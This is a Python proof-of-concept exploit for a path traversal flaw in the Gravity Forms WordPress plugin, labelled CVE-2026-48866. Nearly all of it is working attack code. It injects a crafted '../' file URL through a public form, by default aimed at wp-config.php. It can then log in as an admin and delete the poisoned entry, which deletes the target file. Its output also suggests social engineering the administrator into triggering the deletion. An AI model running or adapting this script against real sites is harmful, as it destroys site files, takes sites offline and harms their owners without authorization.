1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
| #!/usr/bin/env python3
"""
CVE-2026-48866 - Gravity Forms <= 2.10.0.1 Arbitrary File Deletion via Path Traversal
CVSS: 9.6 (Critical) | CWE-22 | Unauthenticated (requires admin interaction to trigger)
Vulnerability:
Gravity Forms does not validate that file URLs stored in entries are within
the uploads directory. An attacker can submit a form with a crafted
gform_uploaded_files parameter containing path traversal sequences (../).
When an admin later deletes the entry (or the file from the entry), the
delete_physical_file() function resolves the traversal and deletes an
arbitrary file from the server filesystem.
Attack Flow:
1. Attacker submits a public form with a multi-file upload field
2. POST includes gform_uploaded_files with a URL containing ../../../target_file
3. URL passes esc_url_raw() and is_valid_url() checks (neither strips ../)
4. Malicious URL is stored in the database entry
5. When admin deletes the entry, unlink() is called on the traversed path
Fix (2.10.1):
Added GFCommon::is_file_in_uploads() check that resolves ../. sequences
and verifies the canonical path starts with the uploads directory.
Usage:
python3 poc.py --target https://test.com --form-id 1 --field-id 1 --file wp-config.php
python3 poc.py --target https://test.com --form-id 1 --field-id 1 --file wp-config.php --trigger --admin-user admin --admin-pass password
Date: 2026-06-01
"""
import argparse
import json
import re
import sys
import urllib.parse
try:
import requests
except ImportError:
print("[!] 'requests' module not found. Install with: pip install requests")
sys.exit(1)
def get_form_nonce(session, target, form_id):
"""Fetch the form page and extract the nonce and gform_unique_id."""
# Try the home page first, then common form pages
for path in ['/', f'/?gf_page=preview&id={form_id}', '/contact/', '/submit/']:
try:
resp = session.get(f'{target}{path}', timeout=15, verify=False)
if resp.status_code == 200 and f'gform_submit_{form_id}' in resp.text:
break
except Exception:
continue
else:
# Try wp-admin preview as fallback
resp = session.get(f'{target}/wp-admin/admin.php?page=gf_edit_forms&view=settings&subview=preview&id={form_id}', timeout=15, verify=False)
nonce_match = re.search(r'gform_ajax_nonce["\s:]+["\']([a-f0-9]+)["\']', resp.text)
if not nonce_match:
# Try alternate nonce patterns
nonce_match = re.search(r'name=["\']gform_ajax_nonce["\'][^>]*value=["\']([a-f0-9]+)["\']', resp.text)
if not nonce_match:
nonce_match = re.search(r'"nonce":"([a-f0-9]+)"', resp.text)
nonce = nonce_match.group(1) if nonce_match else None
unique_id_match = re.search(r'gform_unique_id["\s:]+["\']([a-zA-Z0-9]+)["\']', resp.text)
unique_id = unique_id_match.group(1) if unique_id_match else 'abc123def456'
return nonce, unique_id, resp.text
def craft_payload(target, form_id, field_id, target_file, traversal_depth=3, upload_url=None):
"""Craft the gform_uploaded_files payload with path traversal."""
# Upload root: {target}/wp-content/uploads/gravity_forms/
# Traversal escapes gravity_forms/ -> uploads/ -> wp-content/ -> WP root
traversal = '../' * traversal_depth
if upload_url:
malicious_url = f'{upload_url.rstrip("/")}/{traversal}{target_file}'
else:
malicious_url = f'{target}/wp-content/uploads/gravity_forms/{traversal}{target_file}'
input_name = f'input_{field_id}'
payload = {
input_name: [
{
'url': malicious_url,
'uploaded_filename': 'legitimate.txt',
'id': 'poc-file-1'
}
]
}
return json.dumps(payload), malicious_url
def submit_form(session, target, form_id, field_id, target_file, traversal_depth=3, upload_url=None):
"""Submit the form with the crafted path traversal payload."""
print(f'[*] Fetching form page to get nonce...')
nonce, unique_id, page_html = get_form_nonce(session, target, form_id)
if nonce:
print(f'[+] Got nonce: {nonce}')
else:
print(f'[!] Could not extract nonce from form page. Trying without nonce...')
gform_uploaded_files, malicious_url = craft_payload(
target, form_id, field_id, target_file, traversal_depth, upload_url
)
print(f'[*] Crafted payload URL: {malicious_url}')
print(f'[*] gform_uploaded_files: {gform_uploaded_files}')
post_data = {
f'is_submit_{form_id}': '1',
'gform_submit': str(form_id),
f'gform_unique_id': unique_id,
'gform_uploaded_files': gform_uploaded_files,
'gform_target_page_number_1': '0',
'gform_source_page_number_1': '1',
'gform_field_values': '',
}
if nonce:
post_data['gform_ajax_nonce'] = nonce
ajax_url = f'{target}/wp-admin/admin-ajax.php'
print(f'\n[*] Submitting form {form_id} to {ajax_url}...')
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest',
}
post_data['action'] = 'gform_submit_form'
resp = session.post(ajax_url, data=post_data, headers=headers, timeout=30, verify=False)
print(f'[*] Response status: {resp.status_code}')
print(f'[*] Response length: {len(resp.text)}')
if resp.status_code == 200:
entry_id = None
# Try to extract entry_id from the AJAX response
eid_match = re.search(r'"entry_id"\s*:\s*"?(\d+)"?', resp.text)
if not eid_match:
eid_match = re.search(r'entry_id=(\d+)', resp.text)
if not eid_match:
eid_match = re.search(r'lid=(\d+)', resp.text)
if eid_match:
entry_id = eid_match.group(1)
if 'gformRedirect' in resp.text or 'confirmation' in resp.text.lower() or 'thank' in resp.text.lower():
print(f'[+] Form submitted successfully. Malicious URL stored in entry.')
if entry_id:
print(f'[+] Entry ID: {entry_id}')
return True, entry_id
elif 'validation_error' in resp.text or 'validation_message' in resp.text:
print(f'[-] Form validation failed. The form may require additional fields.')
print(f' Response snippet: {resp.text[:500]}')
return False, None
else:
print(f'[-] Unclear response. Cannot confirm entry creation.')
print(f' Response snippet: {resp.text[:500]}')
return False, None
else:
print(f'[-] Submission failed with status {resp.status_code}')
del post_data['action']
resp = session.post(target, data=post_data, headers=headers, timeout=30, verify=False)
print(f'[*] Direct POST response: {resp.status_code}')
return resp.status_code == 200, None
def trigger_deletion(session, target, admin_user, admin_pass, form_id, poisoned_entry_id=None):
"""Log in as admin and delete the poisoned entry to trigger the file deletion."""
print(f'\n[*] === Phase 2: Triggering file deletion as admin ===')
login_url = f'{target}/wp-login.php'
login_data = {
'log': admin_user,
'pwd': admin_pass,
'wp-submit': 'Log In',
'redirect_to': f'{target}/wp-admin/',
'testcookie': '1',
}
session.cookies.set('wordpress_test_cookie', 'WP+Cookie+check')
resp = session.post(login_url, data=login_data, timeout=15, verify=False, allow_redirects=True)
if 'dashboard' in resp.text.lower() or resp.url.endswith('/wp-admin/'):
print(f'[+] Logged in as {admin_user}')
else:
print(f'[-] Login may have failed. Status: {resp.status_code}, URL: {resp.url}')
return False
entries_url = f'{target}/wp-admin/admin.php?page=gf_entries'
resp = session.get(entries_url, timeout=15, verify=False)
entry_ids = re.findall(r'entry_id=(\d+)', resp.text)
if not entry_ids:
print(f'[*] Trying REST API to find entries...')
api_resp = session.get(f'{target}/wp-json/gf/v2/entries?_sort_direction=DESC&paging[page_size]=5', timeout=15, verify=False)
if api_resp.status_code == 200:
try:
entries_data = api_resp.json()
if 'entries' in entries_data:
entry_ids = [str(e['id']) for e in entries_data['entries']]
except Exception:
pass
elif api_resp.status_code in (401, 403):
print(f'[-] REST API requires authentication or is disabled.')
else:
print(f'[-] REST API returned {api_resp.status_code}')
if not entry_ids:
print(f'[-] No entries found. The form submission may not have created an entry.')
return False
# If we know the poisoned entry ID, use it directly
if poisoned_entry_id and str(poisoned_entry_id) in [str(e) for e in entry_ids]:
latest_entry_id = str(poisoned_entry_id)
print(f'[+] Using poisoned entry ID: {latest_entry_id}')
elif poisoned_entry_id:
# Entry ID not in the list — might be on a different page
print(f'[!] Poisoned entry {poisoned_entry_id} not in first page of results.')
print(f'[*] Trying poisoned entry ID directly: {poisoned_entry_id}')
latest_entry_id = str(poisoned_entry_id)
else:
latest_entry_id = entry_ids[0]
print(f'[+] Found latest entry ID: {latest_entry_id}')
print(f'[!] No poisoned entry ID known. Deleting latest entry may target wrong entry.')
entry_detail_url = f'{target}/wp-admin/admin.php?page=gf_entries&view=entry&id={form_id}&lid={latest_entry_id}'
resp = session.get(entry_detail_url, timeout=15, verify=False)
delete_nonce = None
nonce_match = re.search(r'page=gf_entries.*?delete.*?_wpnonce=([a-f0-9]+)', resp.text)
if nonce_match:
delete_nonce = nonce_match.group(1)
if not delete_nonce:
nonce_match = re.search(r'_wpnonce=([a-f0-9]+).*?delete', resp.text)
if nonce_match:
delete_nonce = nonce_match.group(1)
if not delete_nonce:
resp = session.get(entries_url, timeout=15, verify=False)
nonce_match = re.search(r'name="_wpnonce"\s+value="([a-f0-9]+)"', resp.text)
if nonce_match:
delete_nonce = nonce_match.group(1)
if not delete_nonce:
print(f'[-] Could not find delete nonce. Try deleting entry {latest_entry_id} manually.')
return False
print(f'[*] Deleting entry {latest_entry_id}...')
delete_data = {
'action': 'delete',
'entry[]': latest_entry_id,
'_wpnonce': delete_nonce,
}
resp = session.post(entries_url, data=delete_data, timeout=15, verify=False)
if resp.status_code == 200:
print(f'[+] Entry deleted. If the target file existed, it should now be deleted.')
return True
else:
print(f'[-] Delete request returned status {resp.status_code}')
return False
def verify_file_exists(session, target, target_file):
"""Check if the target file is accessible (for files like wp-config.php, check site health)."""
print(f'\n[*] Checking target site health...')
try:
resp = session.get(target, timeout=15, verify=False)
if target_file != 'wp-config.php':
print(f'[!] Cannot verify deletion of {target_file} without server-side access.')
return None
if resp.status_code == 200 and ('WordPress' in resp.text or '<html' in resp.text):
print(f'[+] Site is responding normally (file may not have been deleted yet)')
return True
elif resp.status_code == 500 or 'error establishing a database connection' in resp.text.lower():
print(f'[!!!] Site returned error - wp-config.php may have been deleted!')
return False
else:
print(f'[?] Site status: {resp.status_code}')
return None
except Exception as e:
print(f'[!!!] Site unreachable: {e} - wp-config.php may have been deleted!')
return False
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-48866 - Gravity Forms Path Traversal Arbitrary File Deletion PoC',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Phase 1 only - inject malicious entry (unauthenticated)
python3 poc.py --target https://test.com --form-id 1 --field-id 3
# Full exploitation - inject + trigger deletion
python3 poc.py --target https://test.com --form-id 1 --field-id 3 \\
--trigger --admin-user admin --admin-pass password
# Target a specific file with custom traversal depth
python3 poc.py --target https://test.com --form-id 1 --field-id 3 \\
--file .htaccess --depth 2
"""
)
parser.add_argument('--target', '-t', required=True, help='Target WordPress URL (e.g., https://target.com)')
parser.add_argument('--form-id', '-f', type=int, required=True, help='Gravity Forms form ID')
parser.add_argument('--field-id', '-i', type=int, required=True, help='File upload field ID')
parser.add_argument('--file', default='wp-config.php', help='File to delete (relative to WP root, default: wp-config.php)')
parser.add_argument('--depth', type=int, default=3, help='Path traversal depth (default: 3 for gravity_forms -> wp root)')
parser.add_argument('--upload-url', help='Full upload URL root (auto-detected if omitted, e.g. https://target.com/wp-content/uploads/gravity_forms)')
parser.add_argument('--trigger', action='store_true', help='Also trigger the deletion by logging in as admin and deleting the entry')
parser.add_argument('--admin-user', default='admin', help='WordPress admin username (for --trigger)')
parser.add_argument('--admin-pass', default='admin', help='WordPress admin password (for --trigger)')
parser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)')
parser.add_argument('--verify-only', action='store_true', help='Only check if the target file still exists')
args = parser.parse_args()
target = args.target.rstrip('/')
if not target.startswith('http'):
target = f'https://{target}'
print(f'''
CVE-2026-48866 - Gravity Forms Arbitrary File Deletion
======================================================
Target: {target}
Form ID: {args.form_id}
Field ID: {args.field_id}
File: {args.file}
Depth: {args.depth}
Trigger: {args.trigger}
''')
session = requests.Session()
session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
if args.proxy:
session.proxies = {'http': args.proxy, 'https': args.proxy}
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
if args.verify_only:
verify_file_exists(session, target, args.file)
return
print(f'[*] === Phase 1: Injecting path traversal payload ===')
success, entry_id = submit_form(session, target, args.form_id, args.field_id, args.file, args.depth, args.upload_url)
if not success:
print(f'\n[-] Phase 1 failed. Form submission did not succeed.')
print(f'[*] Possible reasons:')
print(f' - Form requires additional required fields')
print(f' - Form ID or field ID is incorrect')
print(f' - AJAX submission is disabled')
print(f' - Anti-spam (honeypot/reCAPTCHA) is blocking')
sys.exit(1)
if args.trigger:
admin_session = requests.Session()
admin_session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
if args.proxy:
admin_session.proxies = {'http': args.proxy, 'https': args.proxy}
trigger_deletion(admin_session, target, args.admin_user, args.admin_pass, args.form_id, entry_id)
verify_file_exists(session, target, args.file)
else:
print(f'\n[+] Phase 1 complete. The malicious URL has been injected into the entry.')
print(f'[*] To trigger the deletion, an admin must delete the entry containing the')
print(f' poisoned file URL. This can be achieved via:')
print(f' 1. Social engineering (send admin a link to delete the entry)')
print(f' 2. Wait for routine entry cleanup')
print(f' 3. Use --trigger flag with admin credentials to simulate')
print(f'')
print(f'[*] When the entry is deleted, the following file will be removed:')
print(f' {args.file}')
if __name__ == '__main__':
main()
|